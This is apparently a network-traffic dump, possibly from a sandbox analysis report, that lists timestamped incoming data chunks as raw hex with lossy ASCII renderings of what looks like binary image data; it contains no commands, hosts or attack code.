35 9a 5d 78 6f ed 7e 5c 8f 14 9f ba de 9f 7f e5 ae 89 57 85 78 27 09 5a 48 f3 23 8c a5 aa ab 06 d3 e8 b5 3c af c2 bf 13 7c 
61 f0 1f c4 da 6d d6 9d 67 0c d7 37 b6 49 2c 7a 86 91 2e fb 59 11 be f7 fb 3f 7b ef 57 0f e2 e9 35 2b cb 49 af 6d 6c ee f5 6
b 1b 8d f7 d7 3f 63 95 37 db be ff 00 9d b7 56 87 88 fc 55 63 67 a8 59 f8 a3 c9 86 6d 33 ed bf f1 32 d3 b4 e9 76 7f c7 c3 ef 
7d 9f f3 cf fd ca f3 af 1f 78 e2 0f 0e 78 b7 4d bd f0 3d e5 e6 87 a4 5e ff 00 ac d3 ee e5 f3 12 c3 e7 d9 ff 00 a0 7c f5 14 e8 
cf 11 cb 24 f6 ee 67 27 
Data Ascii: Dm7{w<QxjETk|/O_'x_6{yy${&9}Z5]xo~\Wx'ZH#<|amg7I,z.Y?{W5+Imlk?c7VUcgYm32v}xxM=^|$g'

2022-06-08 07:56:16 UTC 1686 IN Data Raw: f3 f8 1e 47 d9 fe cd 7e ab f8 9b e3 d7 80 74 3d 5a 1b 59 fc 55 69 f6 99 24 48 bf 8d d2 3d df de 7f e1 af 9c 3f 6b 
af 03 f8 06 e3 c3 d0 f8 87 4e d4 b4 9d 3b 5c f9 e2 8e 1d 3a 54 74 b8 fe 3f 9b fb af 4b 09 4e bd 16 d5 4a 6f 96 5f 81 96 2e 
78 3c 4d 37 6a 8b 99 6c 7c bf 61 ac 5a 6b 1e 75 af 9d 0e 9d 16 a3 64 ff 00 bd f3 7f e3 dd ff 00 8f e6 a8 f5 8d 36 7f 87 f3 
4d 75 6b e2 a8 75 7d 32 e2 34 f2 e6 fb ff 00 f9 0f da bc db fb 7e d2 cf 4a f2 de 1f 3a 49 23 f3 22 f3 a5 ff 00 56 ff 00 fc 4d 
60 c7 e2 0b f9 3c ef dc ff 00 a0 ff 00 cb 48 7c af 92 bd 6a 78 46 9e 8f 4e c7 cd f2 ff 00 5d 4f 6e d5 7c 4d 05 9e 9f 0d ee 97 
e2 48 6e e5 b7 93 cd f2 6f 22 ff 00 8f b8 76 6d f9 eb 23 58 7d 16 3d 3e cd d2 ce ef 51 be b8 89 ff 00 d7 45 b2 08 ff 00 b9 
26 da cb b3 f0 f6 85 0c d6 91 
Data Ascii: G~t=ZYUi$H=?kN;\:Tt?KNJo_.x<M7jl|aZkud6Muku}24~J:I#"VM`<H|jxFN]On|MHno"vm#X}=>QE&

2022-06-08 07:56:16 UTC 1742 IN Data Raw: 2f 09 a5 c7 93 a8 41 67 34 36 b2 7f ab f3 bf e5 a5 7e a1 7e d0 bf b3 be 9b f1 13 c1 36 7e 21 f0 8c 30 fd a2 39 
23 96 f7 44 b3 ff 00 9f 7f e2 f2 e3 ff 00 9e 89 5f 34 f8 3b c0 11 d9 f8 86 f2 0b 5f b2 7d 97 fe 7d 2f 36 27 99 b7 ee fc 95 ed 
e1 31 92 a8 9c 2a ae 59 ae 9f d7 46 6d 88 c3 53 b4 67 4d de 0e dd 2d fd 33 e4 f9 27 83 fb 3f 7c 10 c3 69 2c 7f f0 3f 32 bd 
27 c1 df 0f 6e fc 41 e1 98 67 82 cf c9 fb f7 37 37 73 7f b3 ff 00 2c d2 b2 fe 2d fc 3d 93 c2 fe 26 86 7b 58 65 86 2b d9 3c d8 
ad 21 fd ff 00 fc 07 72 d7 a3 7c 39 f0 5e 93 26 93 bf 5e bc d4 6d 2f a4 df f6 28 66 de 90 7f b7 ff 00 03 ae bc 4d 6a 54 e8 3a 
b5 1d ac 79 7e ca 4a 76 47 2b 27 ec f9 71 aa 45 35 d5 94 f6 b6 9e 5f ef 23 fe e6 e6 ac 2b 2f 00 78 f3 c2 7a 85 ec 23 4d 8f 
50 b6 8e 4f 2a e2 58 b9 af 5b 
Data Ascii: /Ag46~~6~!09#D_4;_}}/6'1*YFmSgM-3'?|i,?2'nAg77s,-=&{Xe+<!r|9^&^m/(fMjT:y~JvG+'qE5_#+/xz#MPO*X[

2022-06-08 07:56:16 UTC 1813 IN Data Raw: fd 8d 3c 09 e2 0f 3a 0b 59 a6 b4 b9 8f f7 b1 cd 35 a6 f8 3f dd af 25 f8 b1 fb 36 f8 97 e1 fe 93 fb 9b 3b 4d 73 48 
ff 00 a7 38 bf d5 ff 00 c0 2b eb 1f 0f fc 42 d2 7c 61 e0 df b5 78 1a 6d 3f 51 d7 23 8d 3c cd 12 6b bd 9e 66 ef fd 9a ba ef 0e 
6b 96 9a e6 9d b2 ea 1b bd 3b fe 59 5c da 5e 45 fe ad ff 00 8a be 6e a4 b1 58 07 68 4b 55 d2 5a a6 8f a5 a3 5e 86 39 29 
54 8a 69 f5 5a 38 bf d0 fc 97 f1 1f 84 74 9b 88 77 c1 0c da 75 cf fd 31 af 39 b5 f0 ac 96 fa 84 29 05 df da fc c9 3f e7 95 7d 
ef fb 41 7e ca f7 71 ea 1e 7f 83 7f d2 ed af 7c f9 64 86 6f bf 6f b7 fb bf de af 90 7c 4d a1 dd f8 4f 56 86 e9 2c ff 00 75 6f 27 
ef 6b e8 f0 18 ea 58 c8 73 47 47 d5 3d d1 e2 63 f0 35 30 b2 ba 5c d1 e8 d7 53 b2 d3 74 a8 34 7d 3e 18 2d 7f d6 db fe ea 
2f fa 69 fd e9 2a 0f 10 5d 49 
Data Ascii: <:Y5?%6;MsH8+B|axm?Q#<kfk;Y\^EnXhKUZ^9)TiZ8twu19)?}A~q|doo|MOV,uo'kXsGG=c50\St4}>-/i*]I

2022-06-08 07:56:16 UTC 1853 IN Data Raw: a3 b1 e9 d1 f7 e9 a3 a2 b5 8e 38 e1 f9 3f d6 7f cf 6a e7 75 c9 20 8e 6d e9 ff 00 2c ff 00 75 56 a4 ba 92 df e7 ff 
00 9e 75 25 d5 ac 17 1f e9 49 fb e8 a4 fd ed 6c 9e cc 89 45 a7 66 62 5a ff 00 73 fe 5a c9 5e d7 f0 67 c2 29 67 f0 cf e2 d7 
8a ee af 21 86 c6 df 44 7d 36 3f fa ed 70 e9 5e 4b f6 58 e4 87 fe 9a ff 00 cb 3a f5 3f 85 fe 15 bb b3 fd 9e fe 2a 6a fe 74 53 
5a c9 73 a5 db 49 2f fc b6 f3 a3 ba 46 58 f6 ff 00 70 ef a9 ac dc a8 cf a6 9f 9e 9f a9 8a 49 57 a2 9e be f2 fc 35 fd 0f a5 be 
00 eb 97 fa 7f 80 fc 1f 6a fa 0c d0 fe f1 2d a3 f3 bf e5 9a 37 fc b4 a8 ff 00 68 ed 7e 08 fe 37 7c 3e d2 e4 b3 b4 d4 6d a5 b2 
9e 5b 98 6f 22 df fe b1 f6 af e5 5c 8f 87 3c 47 3d 9f 82 3c 36 f7 ba 95 de 9d 2d 95 ed ac 5e 77 fb df 75 7f f6 5a ec bf 68 5f 
0f c1 79 e2 6f 04 f8 c9 
Data Ascii: 8?ju m,uVu%IlEfbZsZ^g)g!D}6?p^KX:?*jtSZsI/FXpIW5j-7h~7|>m[o"\<G=<6-^wuZh_yo

2022-06-08 07:56:16 UTC 1925 IN Data Raw: bf 7a b0 74 3b a9 f5 09 ac ee 9f 52 ff 00 46 92 3f 36 3f dd 7f ac dd ff 00 2d 3f f8 95 ad 69 c3 d9 c7 4d 12 35 94 
95 47 7d db 3d 03 47 be 4d 63 50 85 ec b5 28 7c d8 ff 00 d6 cb 5d 75 f5 8d de 87 a7 cd 05 94 31 79 b2 49 e6 ff 00 f1 55 
e3 77 da ae 8b e0 fd 3f ed ba be b1 0e 87 1f 99 ff 00 1f 73 4b ff 00 a0 d7 87 7c 4a fd b9 2e fe c9 36 97 e1 4b 3f dd 7c f1 7f 
6b 5e 7d f9 3f da 48 ff 00 86 9d 3c 1c f1 6f 92 9c 7e 7d 0c ea 57 54 1f ef 24 7a 9e ab f0 4f e1 ed e7 8c a6 d6 fc 9f ed 7d 5e 
4b 97 b9 f2 75 19 77 c1 1b ff 00 b3 c6 da e0 fe 17 cf ff 00 09 66 a1 f1 3b e2 6d d7 fc 7c c7 fe 83 a4 f9 3f 73 f7 7f c2 95 f3 
1c ff 00 1b 3c 67 ac 79 3a 72 78 93 50 b4 b1 ff 00 9e 36 72 ec f9 3f e0 15 ed 5f b2 f7 8d 60 d4 3c 43 67 e1 7b df ec f8 b4 
7d 3a 4f ed 28 ed 26 97 e7 bb 
Data Ascii: zt;RF?6?-?iM5G}=GMcP(|]u1yIUw?sK|J.6K?|k^}?H<o~}WT$zO}^Kuwf;m|?s<gy:rxP6r?_`<Cg{}:O(&

2022-06-08 07:56:16 UTC 1972 IN Data Raw: be 10 78 c3 50 d0 ff 00 b6 ec ac e6 9a da de 4f 36 49 ac e5 4d ff 00 ee fc b5 f4 7f c3 9f 11 ff 00 c2 51 f0 87 c6 
1a 75 ef fc 4b a5 bd d3 67 d3 7f be 9b 24 81 fc 89 ff 00 1a e2 bf 60 af 18 c7 1e 9f f6 24 9b f7 b6 ff 00 bd 92 d3 fd 86 4a f9 
f9 3a ab 0f cb 19 6c da 3d 4a 51 a2 b1 d5 24 e3 7b c5 3f 99 f4 47 84 7c 5d 69 a5 e8 70 a6 a9 67 35 a4 52 46 91 79 3e 56 
cf 2e ba 5d 03 c5 b1 f8 6f e4 86 69 be cd 27 fa bf 3b ee 56 a4 7f 64 d4 2c e6 77 87 ce 8a 4a f1 1f 89 be 15 f1 65 9e a1 0c 
fe 0d bc b4 bb b1 8f fd 66 93 79 fb 87 ff 00 b6 72 7f f1 55 c4 a4 e9 af 7b 4b 04 9f b4 9d d6 ad 9f 56 da ea b0 5c 43 0b a7 
fa d9 2b c6 3e 21 5a c9 f0 af e2 15 9f 8a f4 b8 7c 9d 33 5a 93 cb bd f2 7f e5 9d e7 ff 00 6c ff 00 d0 ab c3 b4 af 8e fe 25 f8 
77 ad ec bd b3 bb fe c8 ff 00 96 
Data Ascii: xPO6IMQuKg$`$J:l=JQ${?G|]ipg5RFy>V.]oi';Vd,wJefyrU{KV\C+>!Z|3Zl%w

2022-06-08 07:56:16 UTC 2028 IN Data Raw: 3c cf ec fd 46 5f df c6 8d f7 55 24 fe 3f f8 15 7a 17 c2 5f 89 5a b6 b9 e1 3d 37 e1 d7 89 21 bb b4 f1 2d be f8 e2 
87 56 f9 37 a2 fc c9 f3 7f 1d 7d 0b 0f c3 3b bd 43 ce 82 4b 39 b5 18 bc bf f4 9b 49 be e4 90 ff 00 15 79 9e b1 e3 4b bf 86 
fe 2c fe c8 82 f2 d3 57 d2 34 eb df b4 c7 a7 ea f1 23 bc 7f ee dc 55 e1 e5 89 c7 26 9a b5 b6 6f fa d4 c2 af b0 c2 3b 37 bf 
63 e6 2d 4b c7 1a b7 8a 3c 6f f6 5b ad 36 1f b4 e9 db e2 92 1b 38 9e d6 eb e5 fb df bb fb b2 6d ff 00 66 bb db 1f d9 b7 c2 
7f 19 34 fd 4b 5e b2 9a 2d 27 57 8a 5f b4 c7 ab 5a 4b ff 00 1f 1e 67 cc b3 6c fe 2a b3 ae 7c 4a ff 00 89 1e a5 64 fa 0e 9f 
ab eb 92 5e cf 73 65 a8 59 dd fc f6 93 33 ee 5d db d7 b7 b5 51 b5 f8 81 69 e1 7d 72 6b ad 23 4d fe ce 96 4b df b7 7d 93 
cd de 91 bc 91 ff 00 a5 47 ff 00 5c 5d 
Data Ascii: <F_U$?z_Z=7!-V7};CK9IyK,W4#U&o;7c-K<o[68mf4K^-'W_ZKgl*|Jd^seY3]Qi}rk#MK}G\]

2022-06-08 07:56:16 UTC 2092 IN Data Raw: a6 34 dd b9 a4 ec 71 4e a5 48 3b 42 37 63 24 ff 00 47 b4 f2 27 9a 6b bf fa ed 16 c7 ab bf f0 9a 79 7a 4f f6 77 
db 21 9a e7 fe 9b 45 25 5d 92 79 e4 f3 a0 fe d2 86 d2 48 eb 22 4b 5b 48 ee e6 47 9a 6d 46 2f fa 63 15 0e 9d 39 3b 3e 86 
f1 9d 68 a4 d1 56 eb fd 33 4f de 9a 97 ef 63 ff 00 9e 3f 25 62 7d 96 ee f2 69 b6 7f df e9 a5 7d 95 d4 c7 63 61 67 69 fb fb 3f
f5 9f ea ff 00 74 fb 3f f1 ea 24 8f 4d d3 e1 85 d2 1f b2 7f db 2a d2 32 8c 76 09 29 49 6a 72 f1 c7 1f fa 84 ff 00 5b 1f fc f6 
de f5 56 48 f5 2d 3f f7 7e 74 d0 c7 ff 00 3c 6b a1 d6 2c 6e f5 0b b8 5e 0f dc c5 e5 ff 00 cb 6f 92 b2 e4 d3 6e e3 9b e7 bc 86
6f f9 e7 fc 75 aa 92 92 48 e5 92 6a 4e c4 1f 6a 92 df e7 f3 a1 f3 7f e7 8f 9b 4c 9f c4 77 fe 4f 97 35 e4 de 5d 4f a8 dd df 5c 
7e e6 1f fb 69 37 d9 2a ac 91 
Data Ascii: 4qNH;B7c$G'kyzOw!E%]yH"K[HGmF/c9;>hV3Oc?%b}i}cagi?t?$M*2v)Ijr[VH-?~t<k,n^onouHjNjLwO5]O\~i7*
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2022-06-08 07:56:16 UTC 2131 IN Data Raw: c7 6b 41 74 49 ec 2d 61 f3 f5 dd 40 5c c9 ff 00 2e 92 d6 dc 9a a4 16 f7 5e 4c fa 94 bf 60 ff 00 a6 36 b5 dc 78 
56 fb c3 d2 69 ff 00 e9 50 dd f9 71 ff 00 cb 59 b6 22 7f df 55 8d 57 2a 6b 99 46 fe 87 ab 86 ab 0a d7 84 aa 72 dd 6e f5 fd 
0e 03 44 92 d2 4f 3b ed 56 7a 86 ad 27 fa b8 a1 f3 bc 94 ae 87 fe 10 79 ee 21 fb 6c 7a 3e 9f a7 08 ff 00 7b e7 4d a8 3c d5 
ab e2 2f 19 5a 49 08 b5 d3 f4 38 6c fc bf f9 6b 77 f3 ef ae 4e 79 a4 bb bb d9 0f 95 0f 99 ff 00 2c 61 f9 12 9c 23 3a ba db 95 
9c 15 31 54 68 b7 4e 32 f6 8b ba ba fc d6 a6 d5 d6 97 04 7f 25 d6 a5 69 0c b2 7f ab 86 ce d3 e4 ac 8b 84 d0 ed 6f 39 9e 
ee 68 e3 ff 00 a6 5b 2a dc 7a 3d cc 04 3d f1 8e 59 3f e5 9f ef 69 1a c5 12 2f 39 eb aa 34 9b 5f 11 e2 56 c5 c2 35 1a 8d 3b 
19 89 33 f9 9f 27 97 b2 a1 f2 5e e2 eb 
Data Ascii: kAtI-a@\.^L`6xViPqY"UW*kFrnDO;Vz'y!lz>{M</ZI8lkwNy,a#:1ThN2%io9h[*z==Y?i/94_V5;3'^

2022-06-08 07:56:16 UTC 2187 IN Data Raw: c9 59 7e 65 28 fc cb 4d 3f 64 31 45 e5 c9 fe b2 a0 dc 9e 4e cf 36 29 64 ad 8b 57 81 3e f8 9a 5f fb 6b 53 3c d6 
37 11 6f f2 7f 7b 4e ea f7 47 37 3b 92 bc a4 8a b0 b6 9c b3 72 26 86 28 ff 00 e7 95 6b c7 e2 28 34 ff 00 dc e9 f0 fe eb fe 
b9 7c ff 00 f0 3a c5 7f 22 38 e6 df d7 fe 59 ff 00 72 b3 e4 d4 52 39 7e 49 a3 ac 65 46 12 7e f1 d5 4b 1b 88 8a e5 a7 a7 9f 
53 79 fc 45 7b 9d fe 7f ef 2a cb eb c6 4b 59 63 ba 1d 7f d6 57 31 f6 c8 63 b5 d8 d0 e6 4f fa eb 59 df da 52 f9 bb 23 a3 92 
9d ac a3 63 48 cf 10 97 3f 3d ef bd cd 39 92 d5 e6 ff 00 3b 2a b5 c5 ba 5a fc ff 00 f2 cd ea 94 9a a8 8e 5d 9f bc ff 00 c7 2a 
a4 fe 20 82 4f 92 7f 3b fe 99 fe ea b4 73 84 55 d9 9c 68 55 93 56 45 df b4 7f e4 4a aa fb ee 25 a6 49 79 07 9d b1 e1 f2 a9 
91 dd 5b c9 2f ff 00 6d a1 4e 2f 66 
Data Ascii: Y~e(M?d1EN6)dW>_kS<7o{NG7;r&(k(4|:"8YrR9~IeF~KSyE{*KYcW1cOYR#cH?=9;*Z]* O;sUhUVEJ%Iy[/mN/f

2022-06-08 07:56:16 UTC 2267 IN Data Raw: 00 9f b9 b7 a7 fe 3c d5 91 a9 6a 5a c5 bf 95 b2 2b 5f 2a 3f f9 65 0f 97 b2 89 c6 4d 25 cc b5 ef b1 d1 85 af ec 
e4 dd 28 c9 3e ad 59 fe 9f ab 3c 13 c6 1a 1c de 13 58 51 e6 9a 59 7f e5 9f db 2d 5d 2b ce ef b7 f9 db de be b1 d6 6d 67 f1 
85 e5 9f da 6f 22 d3 ad 7f d5 79 57 91 3c d0 ff 00 c0 be ed 70 de 26 f8 5f fd 99 14 d7 da 7e 83 0e b9 e6 7f ab 9b 4e d3 e4 
fb 2c 7f e7 fd ea e5 96 2d d3 5c b1 8a 72 f2 d8 fb bc b6 71 71 e6 a9 2b 6e ee f7 fb 91 e3 96 da 78 b0 68 8d c8 9a 48 a4 8f 
8f 27 ff 00 66 aa 5a aa e9 cb 36 c8 6f 0c 5f f8 e5 77 b7 bf 6e d3 ce dd 77 46 d5 6d 7c cf f9 69 1d ae ca 97 56 d1 fc 3d ac 
45 68 2c b5 db ab a3 27 fc b2 bb b5 f9 e3 ff 00 81 6c f9 ab 0b 55 de ac ee df 6d 8f 55 e3 68 f3 5a 10 b4 7b bb 7d f7 57 3c 
95 e0 8c 4b b2 0d 46 6a b9 6b a6 de 5a 
Data Ascii: <jZ+_*?eM%(>Y<XQY-]+mgo"yW<p&_~N,-\rqq+nxhH'fZ6o_wnwFm|iV=Eh,'lUmUhZ{}W<KFjkZ

2022-06-08 07:56:16 UTC 2306 IN Data Raw: 69 b9 aa 34 dc 9f aa ff 00 33 8d f0 ed 96 ad 69 6b 34 89 34 da 4c bf f3 da 2b 47 df 5a 9a 3e 8f ff 00 09 46 a1 f6 
5d 46 6d 5a ee 2f f9 69 34 d1 79 35 d7 78 8f 58 fb 1f cf e1 af 36 6b 9b 79 1f cc 9a ce 54 d9 b3 fd 95 58 eb 9e ff 00 84 83 
5d b8 f2 5e ea 6b b8 7c cf f9 ed 13 ff 00 85 73 f3 56 a9 79 28 a4 7a 51 c3 61 30 bf bb 9c dd bd 34 fb d6 87 a6 e9 df 0f 7c 
19 e1 fb 38 6f 74 58 66 9b 57 8e 3f f5 37 97 68 ef fe f7 cf f2 d7 57 a3 d8 ea 57 9a 7f ef ef 34 f8 6d a4 ff 00 96 33 45 b3 ff 
00 41 5a f1 4d 2b c6 36 16 72 fd 97 ec 73 6a f2 c9 fe b6 5b 3b 4d 93 ff 00 c0 5f ef d7 a9 f8 9b ec 9a c7 87 b4 7b db db 3d 
42 1d 32 3f dd 7f ad f9 e3 ff 00 79 9a bc 9a d0 9d d2 ab ad fa b3 de a1 8a c3 d9 ba 0d 2e 5e 8b 41 9e 2a d6 2d e3 86 1b 5
8 35 28 6d 3e cf ff 00 2d a1 95 e7 
Data Ascii: i43ik44L+GZ>F]FmZ/i4y5xX6kyTX]^k|sVy(zQa04|8otXfW?7hWW4m3EAZM+6rsj[;M_{=B2?y.^A*-X5(m>-

2022-06-08 07:56:16 UTC 2370 IN Data Raw: 26 d0 ed 22 b8 ff 00 5b 15 e4 5e 47 99 ff 00 7c d7 86 78 eb c0 73 f8 0e ee 1f 32 f3 4f bb f3 37 cb 14 56 9f be 
8e bb b8 fc 4d a6 e9 7f 3f db 21 9b fe bb 7c 95 97 7d ae 78 63 5b d4 7c cb ad 4a 2f de 47 ff 00 2c 7c 8d ff 00 f0 16 7a ec 
a5 09 51 96 ab 4f 43 c8 c5 57 58 b8 2b 3b c9 75 be 9f 91 c0 c9 e0 ef 10 6a 56 a6 f5 f4 89 62 1f f3 da 5d 90 ff 00 e8 55 8f 
65 35 de 8f 36 f8 e6 fd e4 7f f7 c5 7d 17 a7 78 d3 53 bc d2 61 b5 d1 74 d8 b5 cb 68 e3 f2 a3 bb bc 89 1d ff 00 ef be 2b c9 
7e 28 69 50 5b fe f3 51 9a 1b 4d 4a 4f f9 74 b3 97 cf ae ca 55 65 cd cb 28 d8 e2 ad 4a 36 8b a7 26 ef be 9d 7c 9f 53 9c d5 
35 bd 37 58 b5 9a ea ea 18 86 a5 f2 45 1d a4 31 79 30 7f d7 4f f7 ab 10 5f 4f 27 94 97 b3 4b e5 ff 00 d7 5f 92 ab 5b d8 c7 
1c df 3c b2 79 7f f3 d6 2a 7c 97 56 71 
Data Ascii: &"[^G|xs2O7VM?!|}xc[|J/G,|zQOCWX+;ujVb]Ue56}xSath+~(iP[QMJOtUe(J6&|S57XE1y0O_O'K_[<y*|Vq

2022-06-08 07:56:16 UTC 2489 IN Data Raw: 47 f0 2d de a1 0c 2f 04 36 be 6c 9f ea fc ef f5 d2 56 ad c3 ab 22 ac 52 f7 37 7f 79 76 eb c4 96 77 13 42 92 5d 
dd c5 24 9f bb f3 6f 2a 9e a5 6b f6 7b af 92 68 a5 ff 00 b6 bb ff 00 f4 1a bb 69 a5 78 82 3d 43 fb 3e 4d 4b fb 27 cc ff 00 a0 
87 fa 9a dd 9b ed fe 17 f2 6d 75 68 7c 3f ab 47 27 fa ad 42 19 7c ff 00 fd 17 f3 57 24 aa be 7e 4b 7e 25 2c b6 94 e8 bc 44 
2a 35 6d 1d d7 5e da 3b fe 06 2d af 88 9f 4c b5 df 1c d6 92 c5 ff 00 2d 21 36 b4 55 af 16 9d 27 43 f9 d2 68 62 96 e3 f7 9f 
64 b4 9b ce 48 ff 00 cf d2 8a d5 53 f6 8b 9a 2c e0 6b 11 45 f2 59 bb 7a 7f 91 d3 e9 5f 09 23 b7 d3 f5 2b ab 5b 39 ae ee 63 
ff 00 57 0d e4 bb 13 fe fa 5a a3 a5 78 9b c4 ba 1f c9 f6 3d 3f ec d7 12 79 5f e8 7f 27 d9 ff 00 df 74 a6 6a 5f 16 b4 9d 52 59 
a7 4d 62 ee 18 bf d5 fd 92 68 b6 
Data Ascii: G-/6lV"R7yvwB]$o*k{hix=C>MK'muh|?G'B|W$~K~%,D*5m^;-L-!6U'ChbdHS,kEYz_#+[9cWZx=?y_'tj_RYMbh

2022-06-08 07:56:16 UTC 2521 IN Data Raw: eb 21 fe 08 eb 98 ba d7 e3 93 ed 90 59 1f ed 0f 33 f7 51 cd 34 5b 1f 65 33 5f f1 3e a3 ac 42 51 35 83 34 72 7f 
ac f2 77 a5 72 9a 3d f7 d9 a5 0e f2 ff 00 cb 4a de 31 e5 d6 6c 97 4d 34 e5 1d d1 b4 b3 dd 09 bc 97 b4 f2 8f fc f2 96 a6 b4 
79 2d e1 9a 17 bb 8b f7 9f bb 96 d6 aa df 78 88 5c 1f 3a 49 be d7 e5 d5 bd 17 c4 f6 16 fa 8c 37 b3 d9 c3 2f b5 dd 6b 1e 6b 
5d 19 f2 3f b3 16 bc cd ed 63 c3 ff 00 d9 be 1a 81 ed 7f 73 63 73 fb c9 21 f3 5f 7d 70 fb 6c e3 f2 9d e6 8b f7 7f f4 d1 eb d5 
7c 41 f1 0e c7 c5 5e 1f 9b 48 8f 42 d3 f4 d8 e4 8f f7 57 70 c5 f3 c7 5e 67 67 a3 a5 b1 fd e4 5f 6a ff 00 b6 bb 1e b2 a7 cf 66 
e6 b5 3a 6a 4a 8c 6c a1 51 bd 3c d7 e6 3e e7 52 be d4 ed 76 7d af ca ff 00 9e 70 c5 f2 54 3a 55 ac f6 fe 6b c9 2f 9d ff 00 
8f d3 b5 2d 2a 19 0f c9 c4 7f f7 
Data Ascii: !Y3Q4[e3_>BQ54rwr=J1lM4y-x\:I7/kk]?cscs!_}pl|A^HBWp^gg_jf:jJlQ<>Rv}pT:Uk/-*

2022-06-08 07:56:16 UTC 2585 IN Data Raw: fc b3 f2 77 a5 6d 18 ba b6 e6 67 1c e5 4e 9a 6a 2b f3 b7 e4 49 75 e3 83 a7 ea de 7d ad 9c 5f 61 b8 fd d4 b6 9f 
f3 d2 99 ac 6a 87 54 10 db 69 da 3c 5a 70 f3 3f d5 79 a8 ef bf fe ba 53 d3 c2 77 17 1a 7c d2 5e e8 ff 00 bd ff 00 9e d2 ea 
1b 3f f1 da aa 9e 1d 49 2d 26 84 de 4d 11 b7 8f fd 26 28 a2 47 f2 eb 55 ca b5 46 5c b3 51 8c 1d bb bb f6 3a 1b ed 37 c6 
7a 1e 9f 0b cf ac 4d 0f fd 31 fb 5b ff 00 df 3f eb 2b 7b 47 d2 bc 57 e2 0d 26 f2 79 bc a9 a2 8f fe a2 0e 8f 1f fe 84 b5 e7 36 
90 e9 ba a7 93 05 d6 bd 37 d9 ad ff 00 d5 c3 f6 4d 9f f8 f5 76 7e 1d f0 fe 9b fd 9f e7 db 78 8e ee 13 24 8f fe a4 3e cf f8 15 
72 4d ba 69 5d eb 7e c7 a9 4e 9c eb 49 c5 3b ab 6d cc 97 e6 8e 77 5f 82 09 3c eb 2b db cb 4f b6 db ff 00 cb 29 be 47 df 
5c bd ae 87 ad 59 cd f6 df ec d9 a2 b5 
Data Ascii: wmgNj+Iu}_ajTi<Zp?ySw|^?I-&M&(GUF\Q:7zM1[?+{GW&y67Mv~x$>rMi]~NI;mw_<+O)G\Y

2022-06-08 07:56:16 UTC 2672 IN Data Raw: 9f fd a4 af 1b d1 fc 61 7d a3 fc 91 0d 3e 6f fa ed 69 1c 9f fa 15 47 ae 6b f1 eb 97 70 cf e4 d9 e9 d2 47 ff 00 2c 
74 e8 b6 24 9f ad 72 54 a3 ed 6f 1a 8a e9 f5 3b b0 f8 89 61 64 a7 4b 46 ba 6e 7d 0b f1 53 e3 2d bf 8d 2d 37 d9 43 fe 8b 1f 
ee a3 8a 68 b6 7f df 35 f3 c6 b1 1d bd de a1 b2 78 a5 b5 f3 24 fd e4 95 e9 9e 05 f0 de ab e3 bb 58 9e fe 2d 40 d8 5b c7 fb 
ab bf b8 9f f7 d7 f1 56 07 8e fc 0f ff 00 08 ff 00 9b a8 69 77 9f da d6 3f f4 da aa 84 69 51 7e ca 98 62 a5 8a c6 cf eb 75 6e 
d7 dc 73 0d a0 d8 e9 f1 cb e4 5e 7d af ff 00 1c 4a d1 f0 2c 82 cf 56 97 51 8a f3 4f d3 a5 b7 ff 00 57 35 e7 fe cb 5c 82 e9 b
7 f7 47 e4 d3 ae 8f 99 e9 15 75 7a 7f c3 ab f9 01 ba d4 7c ed 26 da df fe 7f 22 ad a5 52 9c 57 2c a5 63 0a 78 7a ae 5c f1 
4d fa 07 88 3f b6 35 4d 73 fb 51 
Data Ascii: a}>oiGkpG,t$rTo;adKFn}S--7Ch5x$X-@[Viw?iQ~buns^}J,VQOW5\Guz|&"RW,cxz\M?5MsQ

2022-06-08 07:56:16 UTC 2696 IN Data Raw: 18 6e ac e2 92 4f dd cb fe b9 2a b9 9a d1 1c f0 9c ed 68 2b 5b a9 9d 1e b6 fa 27 9d 0d 94 f7 50 ff 00 db 54 ff 
00 d0 6b 4f 43 f8 a1 77 67 37 fa 4c 36 97 7f f6 cb 63 ff 00 df 49 4b ac 6b 17 fe 26 86 14 d5 3f b3 e5 96 3f f9 6c 2d 76 4d 51 
c7 1e 8d a7 e9 fb 20 86 ee 2b e8 ff 00 e5 ac df 72 a6 de d1 25 51 1d aa b4 69 dd 53 93 67 5d 6b e2 3b 4d 73 ed 97 57 50 
cd a7 4b f2 79 73 79 ae e9 44 fa c5 fc 9f 22 59 c3 77 2f fc f6 86 2d f5 99 e1 ab eb 4d 53 50 3f da 17 97 7a 8f ee ff 00 77 
0c 32 ff 00 91 5d 0d 8e 9d 69 e1 8b af b6 cf a9 5d cd 7d 27 fa bb 4d 3b ef ff 00 bb bf 15 84 b9 61 a1 87 2d 4a b2 4d 4a cb 
af 47 f3 30 47 8c 2e f4 0b a8 64 d5 34 89 61 8a 4f dd c7 2c 3f 25 74 3a 58 b1 f1 3c de 5e 91 35 a6 9d 73 ff 00 4d a5 d8 ff 
00 f7 ee a3 b8 d2 ff 00 e1 20 d6 a6 7b 
Data Ascii: nO*h+['PTkOCwg7L6cIKk&??l-vMQ +r%QiSg]k;MsWPKysyD"Yw/-MSP?zw2]i]}'M;a-JMJG0G.d4aO,?%t:X<
^5sM {
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2022-06-08 07:56:16 UTC 2800 IN Data Raw: b3 2d 7f e1 23 d1 f4 ff 00 dc f9 52 d8 c7 ff 00 3d a5 8d d2 8a 89 7d 62 2e d0 92 b1 d0 ab 60 5a bd 5a 6d 3f 2d 
8c 0d 1f e0 d7 89 35 0b 5f 3c 5e 68 90 ff 00 ed 3f fc 72 a4 ff 00 85 3f e2 9f 0f c9 0e ad a5 de 69 3a 8c 51 c6 ff 00 be 87 fe 
59 ff 00 df 4b 5d 3c 1f 11 bf b7 34 ff 00 b1 79 30 e9 17 d7 3f ba 93 f7 5b e0 fe 95 0f fc 24 7e 21 b8 d2 6f 34 1f ec db 49 62 
8f fe 5b 69 17 7e 43 ff 00 e8 5f 36 6b 8d 4e ac 9d 9a 4b fc 8f ac 54 f0 3c bc d4 db 6f a3 5d fb 1c d7 87 fc 2b e2 8f 1d 79 2f 
3c d1 4b a6 d9 49 fb cb bf f9 63 ff 00 d9 57 bd f8 2f c2 b1 d9 eb 93 5e da ff 00 c4 c6 5b 88 d3 cb 9b cd d9 05 bf fb 31 a7 
de aa 5e 11 f1 05 86 b9 e1 88 74 1b ad 1f 50 d2 3c b8 ff 00 77 0f 95 58 9e 23 f1 1d 87 9d fd 97 a7 7d af 4e 96 3f f5 b3 79 
af b2 b8 ab 49 d5 6e 9d ad 63 
Data Ascii: -#R=}b.`ZZm?-5_<^h?r?i:QYK]<4y0?[$~!o4Ib[i~C_6kNKT<o]+y/<KIcW/^[1^tP<wX#}N?yInc

